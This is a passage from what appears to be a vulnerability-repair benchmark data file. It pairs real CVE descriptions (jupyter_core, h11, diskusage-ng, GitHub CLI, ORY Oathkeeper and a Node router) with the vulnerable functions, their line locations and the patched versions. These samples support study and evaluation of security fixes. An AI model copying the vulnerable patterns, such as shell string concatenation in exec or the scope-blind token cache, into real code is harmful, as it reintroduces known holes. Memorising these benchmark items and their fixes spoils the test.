   } else {\n            return dispatch._404(null, res, pathname);\n          }\n        }\n      });\n    };",
                "vul_localization": [
                    {
                        "patch_lines": [
                            3
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_25_1",
                "commit": "dfdd52e",
                "file_path": "lib/router.js",
                "start_line": 730,
                "end_line": 798,
                "snippet": "    dispatch[\"static\"] = function(pathname, req, res) {\n      var full_path;\n      full_path = \"\" + dispatch.static_route + (unescape(pathname));\n      if (full_path.indexOf('..') !== -1) {\n        return dispatch._403(null, res, pathname, \"Trying to get private things through directory traversal is a nasty thing to do.\");\n      }\n      return fs.exists(full_path, function(exists) {\n        var e, error;\n        if (exists) {\n          if (((pathname.indexOf(dispatch.cgi_dir + \"/\") !== -1) || (pathname.match(/\\.php$/))) && (pathname.substr(-1) !== \"/\") && (dispatch.serve_cgi === true)) {\n            try {\n              return dispatch.cgi(pathname, req, res);\n            } catch (error) {\n              e = error;\n              if (!!dispatch.logging) {\n                dispatch.log(e.toString());\n              }\n              return dispatch._500(null, res, pathname);\n            }\n          } else {\n            return fs.stat(full_path, function(err, stats) {\n              var fd;\n              if (err) {\n                if (!!dispatch.logging) {\n                  dispatch.log(err.toString());\n                }\n                return dispatch._500(null, res, pathname);\n              }\n              if (stats) {\n                if (stats.isDirectory()) {\n                  if (!!dispatch.list_dir) {\n                    return dispatch.directory(full_path, pathname, res);\n                  }\n                  return dispatch._405(null, res, pathname, \"Directory listing not allowed\");\n                }\n                if (stats.isFile()) {\n                  fd = fs.createReadStream(full_path);\n                  res.writeHead(200, {\n                    'Content-Type': mime_types[path_tools.extname(full_path)] || 'text/plain'\n                  });\n                  return fd.pipe(res);\n                }\n              }\n            });\n          }\n        } else {\n          if (unescape(pathname).match(/favicon\\.ico$/)) {\n            res.writeHead(200, {\n              'Content-Type': mime_types[path_tools.extname('favicon.ico')] || 'application/x-icon'\n            });\n            return res.end(new Buffer(unescape(escaped_favicon), 'binary'));\n          }\n          if (unescape(pathname).match(/icons\\.png$/)) {\n            res.writeHead(200, {\n              'Content-Type': mime_types[path_tools.extname('icons.png')] || 'image/png'\n            });\n            return res.end(new Buffer(unescape(escaped_icons_png), 'binary'));\n          }\n          if (unescape(pathname).match(/pixel\\.gif$/)) {\n            res.writeHead(200, {\n              'Content-Type': mime_types[path_tools.extname('pixel.gif')] || 'image/gif'\n            });\n            return res.end(new Buffer(unescape(escaped_pixel_gif), 'binary'));\n          } else {\n            return dispatch._404(null, res, pathname);\n          }\n        }\n      });\n    };"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2017-16083"
    },
    {
        "cve_id": "CVE-2022-39286",
        "cve_description": "Jupyter Core is a package for the core common functionality of Jupyter projects. Jupyter Core prior to version 4.11.2 contains an arbitrary code execution vulnerability in `jupyter_core` that stems from `jupyter_core` executing untrusted files in CWD. This vulnerability allows one user to run code as another. Version 4.11.2 contains a patch for this issue. There are no known workarounds.",
        "cwe_info": {
            "CWE-285": {
                "name": "Improper Authorization",
                "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."
            },
            "CWE-250": {
                "name": "Execution with Unnecessary Privileges",
                "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."
            },
            "CWE-269": {
                "name": "Improper Privilege Management",
                "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."
            }
        },
        "repo": "https://github.com/jupyter/jupyter_core",
        "patch_url": [
            "https://github.com/jupyter/jupyter_core/commit/1118c8ce01800cb689d51f655f5ccef19516e283"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_45_1",
                "commit": "d3f61f3",
                "file_path": "jupyter_core/application.py",
                "start_line": 88,
                "end_line": 93,
                "snippet": "    def config_file_paths(self):\n        path = jupyter_config_path()\n        if self.config_dir not in path:\n            path.insert(0, self.config_dir)\n        path.insert(0, os.getcwd())\n        return path",
                "vul_localization": [
                    {
                        "patch_lines": [
                            5
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_45_1",
                "commit": "1118c8ce01800cb689d51f655f5ccef19516e283",
                "file_path": "jupyter_core/application.py",
                "start_line": 88,
                "end_line": 93,
                "snippet": "    def config_file_paths(self):\n        path = jupyter_config_path()\n        if self.config_dir not in path:\n            # Insert config dir as first item.\n            path.insert(0, self.config_dir)\n        return path"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2022-39286"
    },
    {
        "cve_id": "CVE-2025-43859",
        "cve_description": "h11 is a Python implementation of HTTP/1.1. Prior to version 0.16.0, a leniency in h11's parsing of line terminators in chunked-coding message bodies can lead to request smuggling vulnerabilities under certain conditions. This issue has been patched in version 0.16.0. Since exploitation requires the combination of buggy h11 with a buggy (reverse) proxy, fixing either component is sufficient to mitigate this issue.",
        "cwe_info": {
            "CWE-444": {
                "name": "Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')",
                "description": "The product acts as an intermediary HTTP agent\n         (such as a proxy or firewall) in the data flow between two\n         entities such as a client and server, but it does not\n         interpret malformed HTTP requests or responses in ways that\n         are consistent with how the messages will be processed by\n         those entities that are at the ultimate destination."
            }
        },
        "repo": "https://github.com/python-hyper/h11",
        "patch_url": [
            "https://github.com/python-hyper/h11/commit/114803a29ce50116dc47951c690ad4892b1a36ed"
        ],
        "programing_language": "Python",
        "vul_func": [
            {
                "id": "vul_py_68_1",
                "commit": "114803a29ce50116dc47951c690ad4892b1a36ed",
                "file_path": "h11/_readers.py",
                "start_line": 149,
                "end_line": 154,
                "snippet": "    def __init__(self) -> None:\n        self._bytes_in_chunk = 0\n        # After reading a chunk, we have to throw away the trailing \\r\\n.\n        # This tracks the bytes that we need to match and throw away.\n        self._bytes_to_discard = b\"\"\n        self._reading_trailer = False",
                "vul_localization": [
                    {
                        "patch_lines": [
                            6
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_py_68_2",
                "commit": "114803a29ce50116dc47951c690ad4892b1a36ed",
                "file_path": "h11/_readers.py",
                "start_line": 156,
                "end_line": 204,
                "snippet": "    def __call__(self, buf: ReceiveBuffer) -> Union[Data, EndOfMessage, None]:\n        if self._reading_trailer:\n            lines = buf.maybe_extract_lines()\n            if lines is None:\n                return None\n            return EndOfMessage(headers=list(_decode_header_lines(lines)))\n        if self._bytes_to_discard:\n            data = buf.maybe_extract_at_most(len(self._bytes_to_discard))\n            if data is None:\n                return None\n            if data != self._bytes_to_discard[:len(data)]:\n                raise LocalProtocolError(\n                    f\"malformed chunk footer: {data!r} (expected {self._bytes_to_discard!r})\"\n                )\n            self._bytes_to_discard = self._bytes_to_discard[len(data):]\n            if self._bytes_to_discard:\n                return None\n            # else, fall through and read some more\n        assert self._bytes_to_discard == b\"\"\n        if self._bytes_in_chunk == 0:\n            # We need to refill our chunk count\n            chunk_header = buf.maybe_extract_next_line()\n            if chunk_header is None:\n                return None\n            matches = validate(\n                chunk_header_re,\n                chunk_header,\n                \"illegal chunk header: {!r}\",\n                chunk_header,\n            )\n            # XX FIXME: we discard chunk extensions. Does anyone care?\n            self._bytes_in_chunk = int(matches[\"chunk_size\"], base=16)\n            if self._bytes_in_chunk == 0:\n                self._reading_trailer = True\n                return self(buf)\n            chunk_start = True\n        else:\n            chunk_start = False\n        assert self._bytes_in_chunk > 0\n        data = buf.maybe_extract_at_most(self._bytes_in_chunk)\n        if data is None:\n            return None\n        self._bytes_in_chunk -= len(data)\n        if self._bytes_in_chunk == 0:\n            self._bytes_to_discard = b\"\\r\\n\"\n            chunk_end = True\n        else:\n            chunk_end = False\n        return Data(data=data, chunk_start=chunk_start, chunk_end=chunk_end)",
                "vul_localization": [
                    {
                        "patch_lines": [
                            7,
                            8
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            11,
                            12
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            16
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            42
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_py_68_1",
                "commit": "114803a29ce50116dc47951c690ad4892b1a36ed",
                "file_path": "h11/_readers.py",
                "start_line": 149,
                "end_line": 154,
                "snippet": "    def __init__(self) -> None:\n        self._bytes_in_chunk = 0\n        # After reading a chunk, we have to throw away the trailing \\r\\n.\n        # This tracks the bytes that we need to match and throw away.\n        self._bytes_to_discard = b\"\"\n        self._reading_trailer = False"
            },
            {
                "id": "fix_py_68_2",
                "commit": "114803a29ce50116dc47951c690ad4892b1a36ed",
                "file_path": "h11/_readers.py",
                "start_line": 156,
                "end_line": 204,
                "snippet": "    def __call__(self, buf: ReceiveBuffer) -> Union[Data, EndOfMessage, None]:\n        if self._reading_trailer:\n            lines = buf.maybe_extract_lines()\n            if lines is None:\n                return None\n            return EndOfMessage(headers=list(_decode_header_lines(lines)))\n        if self._bytes_to_discard:\n            data = buf.maybe_extract_at_most(len(self._bytes_to_discard))\n            if data is None:\n                return None\n            if data != self._bytes_to_discard[:len(data)]:\n                raise LocalProtocolError(\n                    f\"malformed chunk footer: {data!r} (expected {self._bytes_to_discard!r})\"\n                )\n            self._bytes_to_discard = self._bytes_to_discard[len(data):]\n            if self._bytes_to_discard:\n                return None\n            # else, fall through and read some more\n        assert self._bytes_to_discard == b\"\"\n        if self._bytes_in_chunk == 0:\n            # We need to refill our chunk count\n            chunk_header = buf.maybe_extract_next_line()\n            if chunk_header is None:\n                return None\n            matches = validate(\n                chunk_header_re,\n                chunk_header,\n                \"illegal chunk header: {!r}\",\n                chunk_header,\n            )\n            # XX FIXME: we discard chunk extensions. Does anyone care?\n            self._bytes_in_chunk = int(matches[\"chunk_size\"], base=16)\n            if self._bytes_in_chunk == 0:\n                self._reading_trailer = True\n                return self(buf)\n            chunk_start = True\n        else:\n            chunk_start = False\n        assert self._bytes_in_chunk > 0\n        data = buf.maybe_extract_at_most(self._bytes_in_chunk)\n        if data is None:\n            return None\n        self._bytes_in_chunk -= len(data)\n        if self._bytes_in_chunk == 0:\n            self._bytes_to_discard = b\"\\r\\n\"\n            chunk_end = True\n        else:\n            chunk_end = False\n        return Data(data=data, chunk_start=chunk_start, chunk_end=chunk_end)"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2025-43859"
    },
    {
        "cve_id": "CVE-2020-7631",
        "cve_description": "diskusage-ng through 0.2.4 is vulnerable to Command Injection.It allows execution of arbitrary commands via the path argument.",
        "cwe_info": {
            "CWE-78": {
                "name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')",
                "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."
            }
        },
        "repo": "https://github.com/iximiuz/node-diskusage-ng",
        "patch_url": [
            "https://github.com/iximiuz/node-diskusage-ng/commit/48e7e093486b528f0c81ec699573e0e4a431b8d3"
        ],
        "programing_language": "JavaScript",
        "vul_func": [
            {
                "id": "vul_js_15_1",
                "commit": "53c505506553c83861d1bd67823d6a382d3a5a43",
                "file_path": "lib/posix.js",
                "start_line": 6,
                "end_line": 22,
                "snippet": "function diskusage(path, cb) {\n    if (path.indexOf('\"') !== -1) {\n        return cb(new Error('Paths with double quotes are not supported yet'));\n    }\n\n    exec('df -k \"' + path + '\"', function(err, stdout) {\n        if (err) {\n            return cb(err);\n        }\n\n        try {\n            cb(null, parse(stdout));\n        } catch (e) {\n            cb(e);\n        }\n    });\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            2,
                            3,
                            4,
                            5,
                            6
                        ],
                        "tag": "modify"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_js_15_1",
                "commit": "48e7e093486b528f0c81ec699573e0e4a431b8d3",
                "file_path": "lib/posix.js",
                "start_line": 6,
                "end_line": 18,
                "snippet": "function diskusage(path, cb) {\n    execFile('df', ['-k', path], function(err, stdout) {\n        if (err) {\n            return cb(err);\n        }\n\n        try {\n            cb(null, parse(stdout));\n        } catch (e) {\n            cb(e);\n        }\n    });\n}"
            },
            {
                "id": "fix_js_15_2",
                "commit": "48e7e093486b528f0c81ec699573e0e4a431b8d3",
                "file_path": "lib/posix.js",
                "start_line": 3,
                "end_line": 3,
                "snippet": "var execFile = require('child_process').execFile;"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2020-7631"
    },
    {
        "cve_id": "CVE-2024-54132",
        "cve_description": "The GitHub CLI is GitHub’s official command line tool. A security vulnerability has been identified in GitHub CLI that could create or overwrite files in unintended directories when users download a malicious GitHub Actions workflow artifact through gh run download. This vulnerability stems from a GitHub Actions workflow artifact named .. when downloaded using gh run download. The artifact name and --dir flag are used to determine the artifact’s download path. When the artifact is named .., the resulting files within the artifact are extracted exactly 1 directory higher than the specified --dir flag value. This vulnerability is fixed in 2.63.1.",
        "cwe_info": {
            "CWE-73": {
                "name": "External Control of File Name or Path",
                "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."
            },
            "CWE-22": {
                "name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')",
                "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."
            }
        },
        "repo": "https://github.com/cli/cli",
        "patch_url": [
            "https://github.com/cli/cli/commit/1136764c369aaf0cae4ec2ee09dc35d871076932"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_21_1",
                "commit": "7c241cf",
                "file_path": "pkg/cmd/run/download/download.go",
                "start_line": 106,
                "end_line": 184,
                "snippet": "func runDownload(opts *DownloadOptions) error {\n\topts.IO.StartProgressIndicator()\n\tartifacts, err := opts.Platform.List(opts.RunID)\n\topts.IO.StopProgressIndicator()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error fetching artifacts: %w\", err)\n\t}\n\n\tnumValidArtifacts := 0\n\tfor _, a := range artifacts {\n\t\tif a.Expired {\n\t\t\tcontinue\n\t\t}\n\t\tnumValidArtifacts++\n\t}\n\tif numValidArtifacts == 0 {\n\t\treturn errors.New(\"no valid artifacts found to download\")\n\t}\n\n\twantPatterns := opts.FilePatterns\n\twantNames := opts.Names\n\tif opts.DoPrompt {\n\t\tartifactNames := set.NewStringSet()\n\t\tfor _, a := range artifacts {\n\t\t\tif !a.Expired {\n\t\t\t\tartifactNames.Add(a.Name)\n\t\t\t}\n\t\t}\n\t\toptions := artifactNames.ToSlice()\n\t\tif len(options) > 10 {\n\t\t\toptions = options[:10]\n\t\t}\n\t\tvar selected []int\n\t\tif selected, err = opts.Prompter.MultiSelect(\"Select artifacts to download:\", nil, options); err != nil {\n\t\t\treturn err\n\t\t}\n\t\twantNames = []string{}\n\t\tfor _, x := range selected {\n\t\t\twantNames = append(wantNames, options[x])\n\t\t}\n\t\tif len(wantNames) == 0 {\n\t\t\treturn errors.New(\"no artifacts selected\")\n\t\t}\n\t}\n\n\topts.IO.StartProgressIndicator()\n\tdefer opts.IO.StopProgressIndicator()\n\n\t// track downloaded artifacts and avoid re-downloading any of the same name\n\tdownloaded := set.NewStringSet()\n\tfor _, a := range artifacts {\n\t\tif a.Expired {\n\t\t\tcontinue\n\t\t}\n\t\tif downloaded.Contains(a.Name) {\n\t\t\tcontinue\n\t\t}\n\t\tif len(wantNames) > 0 || len(wantPatterns) > 0 {\n\t\t\tif !matchAnyName(wantNames, a.Name) && !matchAnyPattern(wantPatterns, a.Name) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\t\tdestDir := opts.DestinationDir\n\t\tif len(wantPatterns) != 0 || len(wantNames) != 1 {\n\t\t\tdestDir = filepath.Join(destDir, a.Name)\n\t\t}\n\t\terr := opts.Platform.Download(a.DownloadURL, destDir)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error downloading %s: %w\", a.Name, err)\n\t\t}\n\t\tdownloaded.Add(a.Name)\n\t}\n\n\tif downloaded.Len() == 0 {\n\t\treturn errors.New(\"no artifact matches any of the names or patterns provided\")\n\t}\n\n\treturn nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            64
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            50,
                            66
                        ],
                        "tag": "add"
                    }
                ]
            }
        ],
        "fix_func": [
            {
                "id": "fix_go_21_1",
                "commit": "1136764",
                "file_path": "pkg/cmd/run/download/download.go",
                "start_line": 106,
                "end_line": 211,
                "snippet": "func runDownload(opts *DownloadOptions) error {\n\topts.IO.StartProgressIndicator()\n\tartifacts, err := opts.Platform.List(opts.RunID)\n\topts.IO.StopProgressIndicator()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error fetching artifacts: %w\", err)\n\t}\n\n\tnumValidArtifacts := 0\n\tfor _, a := range artifacts {\n\t\tif a.Expired {\n\t\t\tcontinue\n\t\t}\n\t\tnumValidArtifacts++\n\t}\n\tif numValidArtifacts == 0 {\n\t\treturn errors.New(\"no valid artifacts found to download\")\n\t}\n\n\twantPatterns := opts.FilePatterns\n\twantNames := opts.Names\n\tif opts.DoPrompt {\n\t\tartifactNames := set.NewStringSet()\n\t\tfor _, a := range artifacts {\n\t\t\tif !a.Expired {\n\t\t\t\tartifactNames.Add(a.Name)\n\t\t\t}\n\t\t}\n\t\toptions := artifactNames.ToSlice()\n\t\tif len(options) > 10 {\n\t\t\toptions = options[:10]\n\t\t}\n\t\tvar selected []int\n\t\tif selected, err = opts.Prompter.MultiSelect(\"Select artifacts to download:\", nil, options); err != nil {\n\t\t\treturn err\n\t\t}\n\t\twantNames = []string{}\n\t\tfor _, x := range selected {\n\t\t\twantNames = append(wantNames, options[x])\n\t\t}\n\t\tif len(wantNames) == 0 {\n\t\t\treturn errors.New(\"no artifacts selected\")\n\t\t}\n\t}\n\n\topts.IO.StartProgressIndicator()\n\tdefer opts.IO.StopProgressIndicator()\n\n\t// track downloaded artifacts and avoid re-downloading any of the same name, isolate if multiple artifacts\n\tdownloaded := set.NewStringSet()\n\tisolateArtifacts := isolateArtifacts(wantNames, wantPatterns)\n\n\tfor _, a := range artifacts {\n\t\tif a.Expired {\n\t\t\tcontinue\n\t\t}\n\t\tif downloaded.Contains(a.Name) {\n\t\t\tcontinue\n\t\t}\n\t\tif len(wantNames) > 0 || len(wantPatterns) > 0 {\n\t\t\tif !matchAnyName(wantNames, a.Name) && !matchAnyPattern(wantPatterns, a.Name) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t}\n\n\t\tdestDir := opts.DestinationDir\n\t\tif isolateArtifacts {\n\t\t\tdestDir = filepath.Join(destDir, a.Name)\n\t\t}\n\n\t\tif !filepathDescendsFrom(destDir, opts.DestinationDir) {\n\t\t\treturn fmt.Errorf(\"error downloading %s: would result in path traversal\", a.Name)\n\t\t}\n\n\t\terr := opts.Platform.Download(a.DownloadURL, destDir)\n\t\tif err != nil {\n\t\t\treturn fmt.Errorf(\"error downloading %s: %w\", a.Name, err)\n\t\t}\n\t\tdownloaded.Add(a.Name)\n\t}\n\n\tif downloaded.Len() == 0 {\n\t\treturn errors.New(\"no artifact matches any of the names or patterns provided\")\n\t}\n\n\treturn nil\n}\n\nfunc isolateArtifacts(wantNames []string, wantPatterns []string) bool {\n\tif len(wantPatterns) > 0 {\n\t\t// Patterns can match multiple artifacts\n\t\treturn true\n\t}\n\n\tif len(wantNames) == 0 {\n\t\t// All artifacts wanted regardless what they are named\n\t\treturn true\n\t}\n\n\tif len(wantNames) > 1 {\n\t\t// Multiple, specific artifacts wanted\n\t\treturn true\n\t}\n\n\treturn false\n}"
            },
            {
                "id": "fix_go_21_2",
                "commit": "1136764",
                "file_path": "pkg/cmd/run/download/zip.go",
                "start_line": 73,
                "end_line": 95,
                "snippet": "func filepathDescendsFrom(p, dir string) bool {\n\t// Regardless of the logic below, `p` is never allowed to be current directory `.` or parent directory `..`\n\t// however we check explicitly here before filepath.Rel() which doesn't cover all cases.\n\tp = filepath.Clean(p)\n\n\tif p == \".\" || p == \"..\" {\n\t\treturn false\n\t}\n\n\t// filepathDescendsFrom() takes advantage of filepath.Rel() to determine if `p` is descended from `dir`:\n\t//\n\t// 1. filepath.Rel() calculates a path to traversal from fictious `dir` to `p`.\n\t// 2. filepath.Rel() errors in a handful of cases where absolute and relative paths are compared as well as certain traversal edge cases\n\t//    For more information, https://github.com/golang/go/blob/00709919d09904b17cfe3bfeb35521cbd3fb04f8/src/path/filepath/path_test.go#L1510-L1515\n\t// 3. If the path to traverse `dir` to `p` requires `..`, then we know it is not descend from / contained in `dir`\n\t//\n\t// As-is, this function requires the caller to ensure `p` and `dir` are either 1) both relative or 2) both absolute.\n\trelativePath, err := filepath.Rel(dir, p)\n\tif err != nil {\n\t\treturn false\n\t}\n\treturn !strings.HasPrefix(relativePath, \"..\")\n}"
            }
        ],
        "image_url": "ghcr.io/patcheval-cve/patcheval-cve:cve-2024-54132"
    },
    {
        "cve_id": "CVE-2021-32701",
        "cve_description": "ORY Oathkeeper is an Identity & Access Proxy (IAP) and Access Control Decision API that authorizes HTTP requests based on sets of Access Rules. When you make a request to an endpoint that requires the scope `foo` using an access token granted with that `foo` scope, introspection will be valid and that token will be cached. The problem comes when a second requests to an endpoint that requires the scope `bar` is made before the cache has expired. Whether the token is granted or not to the `bar` scope, introspection will be valid. A patch will be released with `v0.38.12-beta.1`. Per default, caching is disabled for the `oauth2_introspection` authenticator. When caching is disabled, this vulnerability does not exist. The cache is checked in [`func (a *AuthenticatorOAuth2Introspection) Authenticate(...)`](https://github.com/ory/oathkeeper/blob/6a31df1c3779425e05db1c2a381166b087cb29a4/pipeline/authn/authenticator_oauth2_introspection.go#L152). From [`tokenFromCache()`](https://github.com/ory/oathkeeper/blob/6a31df1c3779425e05db1c2a381166b087cb29a4/pipeline/authn/authenticator_oauth2_introspection.go#L97) it seems that it only validates the token expiration date, but ignores whether the token has or not the proper scopes. The vulnerability was introduced in PR #424. During review, we failed to require appropriate test coverage by the submitter which is the primary reason that the vulnerability passed the review process.",
        "cwe_info": {
            "CWE-863": {
                "name": "Incorrect Authorization",
                "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."
            }
        },
        "repo": "https://github.com/ory/oathkeeper",
        "patch_url": [
            "https://github.com/ory/oathkeeper/commit/1f9f625c1a49e134ae2299ee95b8cf158feec932"
        ],
        "programing_language": "Go",
        "vul_func": [
            {
                "id": "vul_go_56_2",
                "commit": "64ac756",
                "file_path": "./pipeline/authn/authenticator_oauth2_introspection.go",
                "start_line": 97,
                "end_line": 115,
                "snippet": "func (a *AuthenticatorOAuth2Introspection) tokenFromCache(config *AuthenticatorOAuth2IntrospectionConfiguration, token string) (*AuthenticatorOAuth2IntrospectionResult, bool) {\n\tif !config.Cache.Enabled {\n\t\treturn nil, false\n\t}\n\n\titem, found := a.tokenCache.Get(token)\n\tif !found {\n\t\treturn nil, false\n\t}\n\n\ti := item.(*AuthenticatorOAuth2IntrospectionResult)\n\texpires := time.Unix(i.Expires, 0)\n\tif expires.Before(time.Now()) {\n\t\ta.tokenCache.Del(token)\n\t\treturn nil, false\n\t}\n\n\treturn i, true\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            3
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            11,
                            12,
                            13,
                            14,
                            15
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            1
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            8
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            18
                        ],
                        "tag": "modify"
                    }
                ]
            },
            {
                "id": "vul_go_56_3",
                "commit": "64ac756",
                "file_path": "./pipeline/authn/authenticator_oauth2_introspection.go",
                "start_line": 117,
                "end_line": 127,
                "snippet": "func (a *AuthenticatorOAuth2Introspection) tokenToCache(config *AuthenticatorOAuth2IntrospectionConfiguration, i *AuthenticatorOAuth2IntrospectionResult, token string) {\n\tif !config.Cache.Enabled {\n\t\treturn\n\t}\n\n\tif a.cacheTTL != nil {\n\t\ta.tokenCache.SetWithTTL(token, i, 1, *a.cacheTTL)\n\t} else {\n\t\ta.tokenCache.Set(token, i, 1)\n\t}\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            1
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            5
                        ],
                        "tag": "add"
                    }
                ]
            },
            {
                "id": "vul_go_56_4",
                "commit": "64ac756",
                "file_path": "./pipeline/authn/authenticator_oauth2_introspection.go",
                "start_line": 152,
                "end_line": 250,
                "snippet": "func (a *AuthenticatorOAuth2Introspection) Authenticate(r *http.Request, session *AuthenticationSession, config json.RawMessage, _ pipeline.Rule) error {\n\tcf, client, err := a.Config(config)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\ttoken := helper.BearerTokenFromRequest(r, cf.BearerTokenLocation)\n\tif token == \"\" {\n\t\treturn errors.WithStack(ErrAuthenticatorNotResponsible)\n\t}\n\n\tss := a.c.ToScopeStrategy(cf.ScopeStrategy, \"authenticators.oauth2_introspection.scope_strategy\")\n\n\ti, ok := a.tokenFromCache(cf, token)\n\tif !ok {\n\t\tbody := url.Values{\"token\": {token}}\n\n\t\tif ss == nil {\n\t\t\tbody.Add(\"scope\", strings.Join(cf.Scopes, \" \"))\n\t\t}\n\n\t\tintrospectReq, err := http.NewRequest(http.MethodPost, cf.IntrospectionURL, strings.NewReader(body.Encode()))\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tfor key, value := range cf.IntrospectionRequestHeaders {\n\t\t\tintrospectReq.Header.Set(key, value)\n\t\t}\n\t\t// set/override the content-type header\n\t\tintrospectReq.Header.Set(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\n\t\t// add tracing\n\t\tcloseSpan := a.traceRequest(r.Context(), introspectReq)\n\n\t\tresp, err := client.Do(introspectReq.WithContext(r.Context()))\n\n\t\t// close the span so it represents just the http request\n\t\tcloseSpan()\n\t\tif err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\t\tdefer resp.Body.Close()\n\n\t\tif resp.StatusCode != http.StatusOK {\n\t\t\treturn errors.Errorf(\"Introspection returned status code %d but expected %d\", resp.StatusCode, http.StatusOK)\n\t\t}\n\n\t\tif err := json.NewDecoder(resp.Body).Decode(&i); err != nil {\n\t\t\treturn errors.WithStack(err)\n\t\t}\n\n\t\tif len(i.TokenUse) > 0 && i.TokenUse != \"access_token\" {\n\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Use of introspected token is not an access token but \\\"%s\\\"\", i.TokenUse)))\n\t\t}\n\n\t\tif !i.Active {\n\t\t\treturn errors.WithStack(helper.ErrUnauthorized.WithReason(\"Access token i says token is not active\"))\n\t\t}\n\n\t\tfor _, audience := range cf.Audience {\n\t\t\tif !stringslice.Has(i.Audience, audience) {\n\t\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Token audience is not intended for target audience %s\", audience)))\n\t\t\t}\n\t\t}\n\n\t\tif len(cf.Issuers) > 0 {\n\t\t\tif !stringslice.Has(cf.Issuers, i.Issuer) {\n\t\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Token issuer does not match any trusted issuer\")))\n\t\t\t}\n\t\t}\n\n\t\tif ss != nil {\n\t\t\tfor _, scope := range cf.Scopes {\n\t\t\t\tif !ss(strings.Split(i.Scope, \" \"), scope) {\n\t\t\t\t\treturn errors.WithStack(helper.ErrForbidden.WithReason(fmt.Sprintf(\"Scope %s was not granted\", scope)))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif len(i.Extra) == 0 {\n\t\t\ti.Extra = map[string]interface{}{}\n\t\t}\n\n\t\ti.Extra[\"username\"] = i.Username\n\t\ti.Extra[\"client_id\"] = i.ClientID\n\t\ti.Extra[\"scope\"] = i.Scope\n\n\t\tif len(i.Audience) != 0 {\n\t\t\ti.Extra[\"aud\"] = i.Audience\n\t\t}\n\n\t\ta.tokenToCache(cf, i, token)\n\t}\n\n\tsession.Subject = i.Subject\n\tsession.Extra = i.Extra\n\n\treturn nil\n}",
                "vul_localization": [
                    {
                        "patch_lines": [
                            12
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            14,
                            15,
                            16
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            17
                        ],
                        "tag": "add"
                    },
                    {
                        "patch_lines": [
                            52,
                            53,
                            54,
                            55,
                            56,
                            57,
                            58,
                            59,
                            60,
                            61,
                            62,
                            63,
                            64,
                            65,
                            66,
                            67,
                            68,
                            69,
                            70,
                            71,
                            72,
                            73,
                            74,
                            75,
                            76,
                            77,
                            78,
                            79,
                            80,
                            81,
                            82,
                            83,
                            84,
                            85,
                            86,
                            87,
                            88,
                            89,
                            90,
                            91,
                            92,
                            93
                        ],
                        "tag": "modify"
                    },
                    {
                        "patch_lines": [
                            51
                        ],
                        "tag": "add"
                    }
                ]
            },
            {
                "id": "vul_go_56_5",
                "commit": "64ac756",
                "file_path": "./pipeline/authn/authenticator_oauth2_introspection.go",
                "start_line": 261,
                "end_line": 341,
